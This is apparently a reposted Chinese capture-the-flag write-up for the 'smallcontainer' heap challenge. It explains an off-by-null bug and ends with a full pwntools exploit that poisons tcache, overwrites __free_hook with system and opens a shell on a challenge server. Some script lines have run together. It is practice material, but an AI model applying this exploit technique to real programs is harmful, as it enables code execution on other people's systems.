[巅峰极客 2022]smallcontainer

2024-04-24 22:28

本文主要是介绍[巅峰极客 2022]smallcontainer,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这题我认为是比较有思考意义的。

版本是2.27,有tcachebin,但大部分安全检测都没有。

直接看add函数。

不能得到fastbin,也不能直接0x410分配到unsortedbin了,并且最多同时存在16个chunk。

free后会把指针情况,没有uaf漏洞。

所以着重看edit函数。

点进去看check。

 if ( *a1 == 17 )*a1 = 0;

很明显off-by-null漏洞,可以将前一个chunk分配为0xf8,然后将0xf8都填满,后一个chunk若size域为0x211,由于小端序,最低位为'\x11',就是17,会被覆盖成'\x00'。

此时要开始考虑堆的设计,如果后一个chunk是0x211,被覆盖后则会变成0x200,这时候要保证0x200大小的tcachebin全都被填满了。

第二点,当你释放被覆盖的chunk是,它会去向后检查能否合并,后面一个chunk的地址是当前chunk的地址加上size,但是你的size域减少了0x10,程序就找不到下一个chunk的pre_size和size域,所以要edit一下,布置一下下一个chunk的头部。

一下是这部分代码:

for i in range(10):add(0x208)
for i in range(10,17):add(0x1f0)
for i in range(10,17):delete(i)
for i in range(5):delete(i)
delete(7)
delete(8)
delete(5)
payload=b'a'*0x1f0+p64(0)+p64(0x211)
edit(9,payload)

随后要更改2次,第一个覆盖size域,使其pre_inuse清空,第二次更改其pre_size域。

payload=b'a'*0x208
edit(0,payload)
payload=b'a'*0x200+p64(0x840)
edit(0,payload)

最后delete(9)就能合并chunk成功。

接下来就没什么意思了,以下是全部代码:

from pwn import *
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
io=remote('node4.anna.nssctf.cn',28672)
#io=remote('pwn.challenge.ctf.show',28284)
#io=process('./pwn')def add(size):io.recvuntil(b"> ")io.sendline(b'1')io.recvuntil(b"Input size: ")io.sendline(str(size).encode())def delete(idx) :io.recvuntil(b"> ")io.sendline(b'2')io.recvuntil(b"Input index: ")io.sendline(str(idx).encode())def show(idx):io.recvuntil(b"> ")io.sendline(b'4')io.recvuntil(b"Input index: ")io.sendline(str(idx).encode())def edit(idx,content) :io.recvuntil(b"> ")io.sendline(b'3')io.recvuntil(b"Input index: ")io.sendline(str(idx).encode())sleep(1)io.send(content)for i in range(10):add(0x208)
for i in range(10,17):add(0x1f0)
for i in range(10,17):delete(i)
for i in range(5):delete(i)
delete(7)
delete(8)
delete(5)
payload=b'a'*0x1f0+p64(0)+p64(0x211)
edit(9,payload)
add(0x208)#0
payload=b'a'*0x208
edit(0,payload)
payload=b'a'*0x200+p64(0x840)
edit(0,payload)
delete(9)
add(0x220)#1
add(0x3f0)#2
show(0)
usbin=int(b'0x'+io.recv(12),16)
print('usbin:',hex(usbin))
malloc_hook=usbin-0x70
libc_base=malloc_hook-libc.sym['__malloc_hook']
print('libc_base:',hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
print('free_book:',hex(free_hook))
system=libc_base+libc.sym['system']
payload=b'a'*0x1e0+p64(0)+p64(0x211)+p64(free_hook)
edit(2,payload)
add(0x208)#3
add(0x208)#4
edit(4,p64(system))
edit(3,b'/bin/sh\x00')
io.interactive()


 

这篇关于[巅峰极客 2022]smallcontainer的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/933004

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

上海大学《2022年836+915自动控制原理真题及答案》 (完整版)

Part1:2022年上海大学真题题目 学硕836 专硕915 Part2:2022年上海大学真题答案 学硕836 专硕915

【算法 2022】高效有用的机器学习算法和 Python 库

2022年已经到来,在此祝大家虎年大吉!2022年,下面几种机器学习算法和 Python 库将在未来更受欢迎!让我们花个几分钟一起来了解下: 一、CatBoost CatBoost 可能是最新的算法,因为它随着越来越流行而不断更新。这个机器学习算法对于处理分类数据的数据科学家特别有用。您可以考虑 Random Forest 和 XGBoost 算法的优点,CatBoost 具有它们的大部分优点

【数据分享】2000-2022年我国省市县三级的逐月O3数据(免费获取\excel\shp格式)

空气质量数据是在我们日常研究中经常使用的数据!之前我们给大家分享了2000-2022年的省市县三级的逐月PM2.5数据、2013-2022年的省市县三级的逐月CO数据、2013-2022年的省市县三级的逐月SO2数据、2008-2022年我国省市县三级的逐月NO2数据和2000—2022年的省市县三级的逐月PM10数据(均可查看之前的文章获悉详情)! 本次我们分享的是我国2000—2022年的省

【数据分享】2000-2022年我国省市县三级的逐日O3数据(免费获取\excel\shp格式)

空气质量数据是在我们日常研究中经常使用的数据!之前我们给大家分享了2000-2022年的省市县三级的逐日PM2.5数据、2013-2022年的省市县三级的逐日CO数据、2013-2022年的省市县三级的逐日SO2数据、2008-2022年我国省市县三级的逐日NO2数据和2000-2022年我国省市县三级的逐日PM10数据(均可咨询获取)! 本次我们分享的是我国2000—2022年的省市县三级的逐

Windows 11 下使用 MSVC 2022 编译64位Nginx

一、软件准备 1、安装 Visual Studio 2022 包含单个组件: .NET Framework 4.6.1 目标包.NET Framework 4.6.1 SDKWindows 通用 C 运行时Windows 通用 CRT SDKMSVC v142 - VS 2019 C++ x64/x86 生成工具(v14.26)对 v142 生成工具(14.21)的 C++/CL

2000-2022年各地级市市场潜力指数数据(含原始数据+计算代码+结果)

2000-2022年各地级市市场潜力指数数据(含原始数据+计算代码+结果) 1、时间:2000-2022年 2、指标:城市纬度、城市经度、社会消费品零售总额 3、范围:262个地级市 4、指标解释:市场潜力反映了城市可能获得的整体的市场规模或空间中分布的需求因素(包括市场、收入等)对城市经济产生的影响。 5、参考文献:追踪我国制造业集聚的空间来源:基于马歇尔外部性与新经济地理的综合视角(

中国各县域农作物播种面积(2000-2022年)

中国各县域的农作物播种面积反映了当地农业生产的规模和结构,对于确保国家粮食安全、促进农民增收以及维护生态平衡至关重要。不同地区的农作物播种面积因地理环境、气候条件和市场需求而异,例如,水稻、小麦和玉米等主要粮食作物的种植面积在粮食主产区较大,而蔬菜、水果和经济作物如棉花、油料等则根据各地特色和优势分布。 中国各县域的农作物播种面积数据来自各省份统计年鉴,有助于对农业政策的研究和制定,保证农产

中国各省份-环境规制相关数据(2000-2022年)

环境规制,也称为环保政策和污染治理,是一系列由政府制定的旨在解决环境问题、保护生态环境和促进可持续发展的政策措施。这些措施包括法律法规、行政命令、经济激励和市场机制等,目的是约束和指导企业和个人行为,减少对环境的负面影响。 环境规制强度是衡量这些政策措施严格程度的指标,它反映了政府在环境保护方面的努力和执行力度。一个常用的衡量方法是通过计算每千元工业增加值的工业污染治理完成投资额来表示环境规制

探索 Zed 编辑器:速度与协作的巅峰之作

Zed 是一款备受瞩目的代码编辑器,专为现代开发者打造。本文将深入介绍 Zed 的独特优势,以及如何快速上手使用这款编辑器,助你在编程工作中大幅提升效率。 一:Zed 编辑器的优势 Zed 是近年来崭露头角的一款代码编辑器,迅速赢得了众多开发者的青睐。以下是 Zed 的几大核心优势: 1. 极速响应 Zed 以其卓越的性能著称,采用了先进的技术栈,确保编辑器即使在处理大型项目时,依然能